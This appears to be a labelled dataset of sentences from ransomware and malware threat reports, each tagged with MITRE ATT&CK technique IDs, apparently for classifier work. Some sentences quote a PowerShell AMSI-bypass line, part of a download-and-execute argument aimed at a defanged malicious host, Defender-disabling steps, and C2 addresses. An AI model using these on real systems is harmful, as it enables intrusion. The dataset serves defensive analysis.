{"sentence": "Possibility implement Two Factor Authentication (2FA).Set lockout policy which hinders credentials guessing.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Create a separate network folder for each user when managing access to shared network folders.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Take regular data backup Protect systems from ransomware by periodically backing up important files regularly and keep a recent backup copy offline.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Encrypt your backup.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Always use a combination of online and offline backup.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Do not keep offline backups connected to your system as this data could be encrypted when ransomware strike.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Keep software updated Always keep your security software (antivirus, firewall, etc.)", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Avoid downloading software from untrusted P2P or torrent sites.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "In most cases, they are malicious software.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Also, avoid browsing, opening documents, or other regular work activities while logged in as an administrator.", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Nefilim TTP Map Initial AccessExecutionDefense EvasionCredential AccessDiscoveryLateral MovementExfiltrationImpactExploit", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Public-Facing Application (T1190)Native API (T1106)File Deletion (T1070.004)OS Credential Dumping (T1003)Software Discovery: Security Software Discovery (T1518.001)Lateral Tool Transfer (T1570)Exfiltration Over Web Service: Exfiltration to Cloud Storage (T1567.002)Data Encrypted for impact (T1486)Impair Defenses: Disable or Modify Tools (T1562:001)Remote System Discovery (T1018)Inhibit system Recovery (T1490)System Information Discovery (T1082)File and Directory Discovery (T1083) Indicators of Compromise (IOCs) SHA256 8be1c54a1a4d07c84b7454e789a26f04a30ca09933b41475423167e232abea2bb8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2e3080b45bab3f804a297ec6d8f407ae762782fa092164f8ed4e106b1ee7e249537de8ca88e240fb905fc2e8fd5db6c5af82d8e21556f0ae36d055f623128c3377b227fa0485e34511627a8a4a7d3f1abb6231517be62d022916273b7a51b80a173bac058dbea51f52ce154fed0325fd835f35c1cd521462ce048b41c9b099e1e5353ee5805bc5c7a98fb5d522b15743055484dc47144535628d102a4098532cd55ab834f599c6ad35fcd0a168d93c52c399c6de7d1c20f33e25cb1fdb25aec9c652e25bdd600695cfed0d4ee3aca4f121bfebf0de889593e6ba06282845cf39ea35a0bced28fd345f3ebfb37b6f9a20cc3ab36ab168e079498f3adb25b41e156f7a73032ece59af3316c4a64490344ee111e4cb06aaf00b4a96c10adfdd65559908c7dfde13ade4b13350ae290616d7c2f4a87cbeac9a3886e90a175ee40fb641D4492a9eb36f87a9b3156b59052ebaf10e264d5d1ce4c015a6b0d205614e58e3B8066b7ec376bc5928d78693d236dbf47414571df05f818a43fb5f52136e8f2efcc2921020690a58c60eba35df885e575669e9803212f7791d7e1956f9bf8020 References https://www.zdnet.com/article/nemty-ransomware-operation-shuts-down/https://www.bleepingcomputer.com/news/security/new-nefilim-ransomware-threatens-to-release-victims-data/https://www.bleepingcomputer.com/news/security/nemty-ransomware-punishes-victims-by-posting-their-stolen-data/https://www.trendmicro.com/vinfo/au/security/news/cybercrime-and-digital-threats/updated-analysis-on-nefilim-ransomware-s-behaviorhttps://www.bankinfosecurity.com/blogs/toll-group-data-leaked-following-second-ransomware-incident-p-2902https://www.tollgroup.com/toll-it-systems-updateshttps://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks", "labels": [], "doc_title": "Nefilim Ransomware"}
{"sentence": "Affected Platforms: WindowsImpacted Users: Windows usersImpact: Compromised machines are under the control of the threat actor, potentially resulting in stolen personally identifiable information (PII), credential theft, financial loss, etc.Severity Level:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Targeting calendar-based events enables threat actors to prepare ahead of time and have a new selection of targets on rotation.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This blog covers a few examples of malware that take advantage of tax season.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Although such attacks may seem repetitive to the casual observer, threat actors would not continue to target taxpayers if previous attacks had not been successful.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm Delivered Through Tax Scam FortiGuard Labs became aware of a curious-looking archive file hosted on an open directory on www[.]farmaciasmv[.]com/citrix/2022%20tax_documents[.]zip, which has since been removed.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Empty open directory that hosted 2022%20tax_documents[.]zip", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The zip file contains the following files: Annual Withdrawal.xlsx (SHA2: 59bb292565ebc86800e5e4d625d3c19f98afe2261d3da1a8e2f9b45ec76153a0) Robert tax_docs.pdf (SHA2: a9f4b054ea128529c62a8ff25f1439651f045e443adf5ff11fb5bd29f1333a7a) Figure 2.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of the 2022%20tax_documents[.]zip The XLSX file is a benign decoy file that contains financial data from an unknown source.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of the Annual Withdrawal.xlsx The other file is malicious.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Despite Robert tax_docs.pdf having a PDF icon, it is different from what it seems.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The file is actually a link (LNK) file that launches the legitimate script (C:\\Windows\\System32\\SyncAppvPublishingServer.vbs), which has a known issue of taking command line arguments.", "labels": ["T1059.003"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The link file exploits this issue and feeds the legitimate script with the following command line argument to download and execute a remote “note.hta”: ;\\W_\\*2\\\\\\m_h_a_e ('http'+'://datacenter002[.]myftp[.]biz/documents/note.", "labels": ["T1059.003", "T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "'+'hta')", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The downloaded note.hta uses PowerShell to download another remote file hosted on hxxp://datacenter002[.]myftp[.]biz/documents/note[.]gif, which was not available at the time of our investigation.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Finding another note.gif (SHA2: 0487ef401345aa17c6aaeac23151219863e1363f82fe76edd0066bbf3fb07715) based on the same infection chain let us continue our quest to the payload.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "note.gif is a PowerShell script that creates the following files: C:\\Users\\Public\\onedrive.vbs (SHA2: 92C1767EE4A954B93D6AFA9AE83FE82B82D2867D919D0359DCF2C8DA75FB8C7C)", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "C:\\Users\\Public\\test.vbs (SHA2: ADBA59F1495965684EEB4C5DAAD67F732FEB5E9183AE05EB869E20C88CAD7327) C:\\Users\\Public\\onedrive.ps1 (SHA2: 7A9705A424A634A321DB9F36B61D74B953A44D44EDC429F7641BF830870572FC) Once launched, it executes the onedrive.vbs and test.vbs files.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Note.txt containing fake “QUARTERLY TAX PAYMENTS FOR 2022” data onedrive.vbs runs the previously created onedrive.ps1 filled with activities designed to hamper Windows Defender.", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It first executes the following known AMSI (Antimalware Scripting Interface) bypass:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "[Ref].Assembly.GetType(‘System.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": ".GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true) It also disables AMSI by hijacking the COM server, changing it from \"%windir%\\system32\\amsi.dll\" to \"C:\\IDontExist.dll\".", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The PowerShell script then performs the following actions to alter Windows Defender settings: Adds the following exclusions to Windows DefenderExtensions: .bat, .ppam, .xls, .docx, .bat, .exe, .vbs, .js", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "File paths: C:\\, D:\\, E:\\ Processes: explorer.exe, kernel32.dll, aspnet_compiler.exe, cvtres.exe, CasPol.exe, csc.exe, Msbuild.exe, ilasm.exe, InstallUtil.exe, jsc.exe, Calc.exe, powershell.exe, rundll32.exe, conhost.exe, Cscript.exe, mshta.exe, cmd.exe, DefenderisasuckingAntivirus, wscript.exe Allows known Windows Defender Threat IDs to execute Disables Windows Defender Attack Surface Reduction (ASR) rules Disables the following Windows Defender features:Intrusion Prevention System IO AV Protection (does not scan downloaded files and attachments)", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Realtime monitoring Script scanning Controlled folder access protection PUA protection Scheduled scan Sets Network Protection to audit mode in Windows Defender (allows users to visit known malicious sites but logs them in the event log)", "labels": ["T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Disables MAPS (Microsoft Active Protection Service) reporting Never submits samples to Microsoft Allows severe/high/moderate/low-level threats to execute Disables the \"administrator in Admin Approval Mode\" user type (disables UAC prompts) Stops the WinDefend service (Windows Defender) Disables the startup of the WinDefend service Deletes the WinDefend service Creates a user named \"System32\" with the password “123” (no quotes) Adds the System32 user to both the \"administrators\" group and the \"Remote Desktop Users\" group Stops the Microsoft Defender Antivirus Network Inspection Service (WdNisSvc) Turns off Windows Firewall The PowerShell script finally uses reflective loading to load a binary into memory that injects XWorm RAT version 3.1.", "labels": ["T1055", "T1562.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Furthermore, we discovered other files that follow a similar attack pattern; “Mary tax docs.pdf.lnk” (SHA2: 6dee21d581eac2214e3ea7259bf9cb3e0cc31b442a372ffba00f82aa858050f0) and “Wilson tax_docs.pdf.lnk” (SHA2: c06cf72149d52b8a7c73b38c075156df4c458f633c3031c3c0ce32741ad1518e) that were used in March 2023.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "As with the attack mentioned previously, these link files are disguised as PDF files to fool potential victims into opening them.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "“Mary tax docs.pdf.lnk”, along with another clean Microsoft Office file, “R&P Sales Summary.docx”, are included in an archived file labeled “2022 tax docs.zip”.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The “doc.pdf” is actually a VBA file that uses PowerShell to pull and run “hxxp://datacenter11[.]myftp[.]org/met/a[.]mp3”.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "While the “a.mp3” is not available for investigation, OSINT (Open Source Intelligence) indicates that the XWorm malware is likely delivered to the victim’s machine.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm From the evidence that FortiGuard Labs accumulated during our research, we have high confidence that the 2022%20tax_documents[.]zip file we initially analyzed delivers the XWorm.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm is a commodity RAT (Remote Access Trojan) reportedly sold in underground forums for $30 to $150.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XWorm supports typical RAT functions, such as taking screenshots, keylogging, and taking control of a compromised machine by abusing Virtual Network Computing (VNC), a technique infamously known as Hidden VNC (HVNC).", "labels": ["T1056.001", "T1113"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Leaked cracked version of XWorm v3.1 Figure 6.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Some of the functionalities supported by XWorm v3.1 Figure 7.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Download page of the cracked version of XWorm v.3.1 Going back to the first example, “2022%20tax_documents[.]zip”, we found that it was hosted on the open directory “www[.]farmaciasmv[.]com/citrix/”.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We also found another page on the same domain likely used for phishing hxxp://farmaciasmv[.]com/sharefile/citrix/2022%20taxes[.]html.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The files involved in this attack were submitted to VirusTotal.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We don’t believe victims just wander into such malicious sites by accident.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Based on our experience, they were likely lured via malicious links in spam emails.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Manual interactions are required up until the files inside the zip file are extracted, and the link file is manually run.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We were able to locate another file, “TaxReturns2022.iso” (SHA2: bb7138a106ee2e0a384896316679c750e3287b51fc16a5e65ccd1e44911162d6), that contains identical files.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Figure 8.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of TaxReturn2022.img Figure 9.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Contents of TaxReturns2022.iso Unfortunately, the infection vector for both files has not been identified, but the likely attack avenue is an email containing malicious attachments and links.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "As with the previous example, “TaxReturn2022.pdf.lnk” has a PDF icon.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "However, it’s a link (shortcut) file, as seen in Figure 4.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Manually executing the lnk file triggers the download of wed.hta from hxxp://179.43.175[.]187/pqpf/ and saves it as %USERAPPDATA%\\wed.hta (SHA2: 0cbaf95b9d4df27442d753dc4cb600eda0a7ecb95e4071f380f69f5f3c89adb1).", "labels": ["T1105", "T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The downloaded file is an HTA web file containing VBScript code for the next action and a lot of junk code.", "labels": ["T1027"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It eventually runs: powershell.exe -ExecutionPolicy", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "In this case, it downloads “TaxReturn2022.pdf” from hxxp://179.43.175[.]187/pqpf/, saves it as %USERAPPDATA%\\TaxReturn2022.pdf, and opens it.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Unfortunately, this PDF file is a clean decoy file that also requires an unidentified password to open.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\iXqrVo =", "labels": ["T1547.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This behavior led us to believe that the threat actor behind this attack relies on templates and uses them without really knowing what they are because there is no valid reason to open a decoy PDF file at every startup, and adding the HIDDEN file attribute is usually reserved for executables and DLLs.", "labels": ["T1564.001"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "In this case, it downloads TCywxTOvZk.wsf from hxxp://[redacted].67[.]12:222/ and saves it as %USERAPPDATA%\\TCywxTOvZk.wsf (SHA2: 351b0514feaa6a2fc21af25ad7c6c9bed93e38ef896d3fb6c8633924d8615e2d).", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "TCywxTOvZk.wsf has only three meaningful lines of code out of almost 2840 lines and downloads and runs hxxp://[redacted].67[.]12:222/no[.]txt (SHA2: d7c63c4d488918aa09fcbd2012d041ed440377af51a87e757c40df3725b1eb07).", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "no.txt contains VBScript code that downloads and executes hxxp://[redacted].67[.]12:222/j[.]png (SHA2: 460d093a55b930e733c60575f82183cd0edd52ec6b927cdb4a93dc5da7f0ac9c), which is a PowerShell script that creates the following files: C:\\ProgramData\\Document\\py.ps1 C:\\ProgramData\\schtasks\\Microsoft.bat C:\\ProgramData\\Document\\x.ps1 The script then runs Microsoft.bat, which uses MSHTA.exe to run PowerShell code to run py.ps1.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The .ps1 file contains two PE files (stored in $apprun and $appme).", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It uses 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe' to reflectively load $apprun, which then loads $appme, which was identified as an ASync RAT variant that connects to the attacker’s Command-and-Control (C2) server located at nulled2nd[.]camdvr[.]org:6666.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "We also found another .lnk file (SHA2: c0a59b28919282b3c45a9619410ea95e35f86dbf43266e6f9a25b94f5948018b) hidden in TaxReturns2022.pdf.iso (SHA2: ee1299f4e56c7f5af243df63192f1c7574152c0600edc49c37b9f8b703da02f2).", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This link file goes through the same infection chain as the previous one:", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "However, OSINT led us to find the next action.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "qDxcmqPPmI[.]wsf downloads and executes hxxp://[redacted].67[.]12:222/no[.]txt no[.]txt downloads and executes hxxp://[redacted].67[.]12:222/j[.]png j.png creates py.ps1 and x.ps1.", "labels": ["T1105"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "It also creates and runs Microsoft.bat Microsoft.bat runs py.ps1, which eventually installs Async RAT on the compromised machine Curiously the attacker left the hosting location of the malicious files wide open.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Files hosted on the attacker’s open directory", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "This indicates that the threat actor also leverages Adobe as a lure to install the AsyncRAT variant.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "readerdc64_en_l_cra_mdr_install_update.exe[.]lnk (SHA2: 653fcea661d8f7d996210dcdbcad110f0dcca8e7bbc906bb0a4d12e3ab674483) readerdc64_en_l_cra_mdr_install_update[.]exe (SHA2: 1b012d01c86be5d68959504d362c52170b27d726cf2943e2e0250506a29c765a) – this is a legitimate Adobe Acrobat Reader DC installer.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "But however potential victims end up with the “TaxReturn2022.img” and “TaxReturns2022.pdf.iso” files on their system, users still need to manually mount them and run the fake PDFs to trigger the infection chain.", "labels": ["T1204.002"], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "A little caution can go a long way toward protecting yourself against tax-related malware.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Conclusion The attacks covered in this blog are the tip of the iceberg.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Attackers make every attempt to scam taxpayers for financial gain and data exfiltration for future attacks.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "In the end, those looking to save a dime, in this case, from Uncle Sam, often find that greed endangers them in the cyber world.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "For additional information, please refer to the “Tax Scams/Consumer Alerts” alert issued by the IRS for other tips on protecting yourself from tax-related scams.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Fortinet Protection FortiGuard AntiVirus detects the malicious files identified in this report with the following signatures: JS/Agent.7593!tr JS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "GDRU!tr LNK/Agent.1eb5!tr.dldr LNK/Agent.3aad!tr.dldr LNK/Agent.412e!tr.dldr LNK/Agent.9982181!tr LNK/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "BF20!tr LNK/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "FF8D!tr PowerShell/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "E67B!tr VBS/Agent.5247!tr.dldr VBS/Agent.9FA6!tr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "E67C!tr.dldr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "XAO!tr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "YNQ!tr VBS/Agent.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Customers running current AntiVirus updates are protected.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "The FortiGuard Web Filtering Service detects the download URLs cited in this report as Malicious and blocks them.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Due to the ease of disruption, damage to daily operations, potential impact to an organization's reputation, and the unwanted destruction or release of PII, etc., it is essential to keep all AV and IPS signatures current.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "IOCs File IOCs: Network IOCs", "labels": [], "doc_title": "Deja Vu All Over Again Tax Scammers at Large"}
{"sentence": "Executive Summary Black Basta is ransomware as a service (RaaS) that first emerged in April 2022.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The Black Basta operator(s) use the double extortion technique, meaning that in addition to encrypting files on the systems of targeted organizations and demanding ransom to make decryption possible, they also maintain a dark web leak site where they threaten to post sensitive information if an organization chooses not to pay ransom.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta affiliates have been very active deploying Black Basta and extorting organizations since the ransomware first emerged.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Although the Black Basta affiliates have only been active for the past couple of months, based on the information posted on their leak site, they have compromised over 75 organizations at the time of this publication.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Unit 42 has also worked on several Black Basta incident response cases.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware is written in C++ and impacts both Windows and Linux operating systems.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The faster the ransomware encrypts, the more systems can potentially be compromised before defenses are triggered.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It is a key factor affiliates look for when joining a Ransomware-as-a-Service group.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Palo Alto Networks customers receive help with detection and prevention of Black Basta ransomware through the following products and services: Cortex XDR and Next-Generation Firewalls (including cloud-delivered security services such as WildFire).", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "If you think you may have been impacted by a cyber incident, the Unit 42 Incident Response team is available 24/7/365.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "You can also take preventative steps by requesting any of our cyber risk management services.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Although the Black Basta RaaS has only been active for a couple of months, according to its leak site, it had compromised over 75 organizations at the time of this publication.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It is also possible that this is not a new operation but rather a rebrand of a previous ransomware group that brought along their affiliates.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Unit 42 has observed ​​the Black Basta ransomware group using QBot as an initial point of entry and to move laterally in compromised networks.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "QBot, also known as Qakbot, is a Windows malware strain that started as a banking trojan and evolved into a malware dropper.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "While these ransomware groups used QBot for initial access, the Black Basta group was observed using it for both initial access and to spread laterally throughout the network.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Figure 1 below shows the standard attack lifecycle observed with Black Basta ransomware.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta attack lifecycle based on Unit 42 incident response cases.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Technical Details Black Basta is written in C++ and is cross-platform ransomware that impacts both Windows and Linux systems.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "In June 2022, a VMware ESXi variant of Black Basta was observed targeting virtual machines running on enterprise Linux servers.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware spawns a mutex with a string of dsajdhas.0 to ensure a single instance of the malware is running at a time.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta ransomware encrypts users’ data through a combination of ChaCha20 and RSA-4096.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The ransomware also attempts to delete shadow copies and other backups of files using vssadmin.exe, a command-line tool that manages Volume Shadow Copy Service (VSS), which captures and copies stable images for backups on running systems.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It writes the Random-letters.ico and Random-letters.jpg files to the %TEMP% directory.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "The .jpg file is leveraged to overwrite the desktop background and appears as follows: Figure 2.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta desktop wallpaper.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "It will then boot the system in safe mode and proceed to encrypt files.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Following successful encryption, the file’s extension is changed to .basta", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "and the ransomware will write numerous instances of readme.txt, which contains the following ransom note: Figure 4.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Black Basta ransom note.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Tactics, Techniques and Procedures We have observed Black Basta affiliates leveraging the following TTPs: Tactic / Technique Notes TA0001 Initial Access T1566.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Phishing:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Spear phishing Attachment Victims receive spear phishing emails with attached malicious zip files - typically password protected.", "labels": ["T1566.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "That contains malicious doc including .doc, .pdf, .xls TA0002 Execution T1569.002.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "System Services: Service Execution Black Basta has installed and used PsExec to execute payloads on remote hosts.", "labels": ["T1569.002"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Windows Management Instrumentation Utilizes Invoke-TotalExec to push out the ransomware binary. T1059.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "PowerShell Black Basta has encoded PowerShell scripts to download additional scripts.", "labels": ["T1027", "T1105"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0003 Persistence T1136.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Account Manipulation Added newly created accounts to the administrators' group to maintain elevated access. T1543.003.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Create or Modify System Process:", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Windows Service Creates benign-looking services for the ransomware binary. T1574.001.", "labels": ["T1543.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Hijack Execution Flow: DLL Search Order Hijacking Black Basta used Qakbot, which has the ability to exploit Windows 7 Calculator to execute malicious payloads.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "TA0004 Privilege Escalation T1484.001.", "labels": [], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Group Policy Modification Black Basta can modify group policy for privilege escalation and defense evasion. T1574.001.", "labels": ["T1484.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Windows Service Creates benign-looking services for the ransomware binary.", "labels": ["T1543.003"], "doc_title": "Threat Assessment Black Basta Ransomware"}
{"sentence": "Group Policy Modification Black Basta can modify group policy for privilege escalation and defense evasion. T1218.010.", "labels": ["T1484.001"], "doc_title": "Threat Assessment Black Basta Ransomware"}
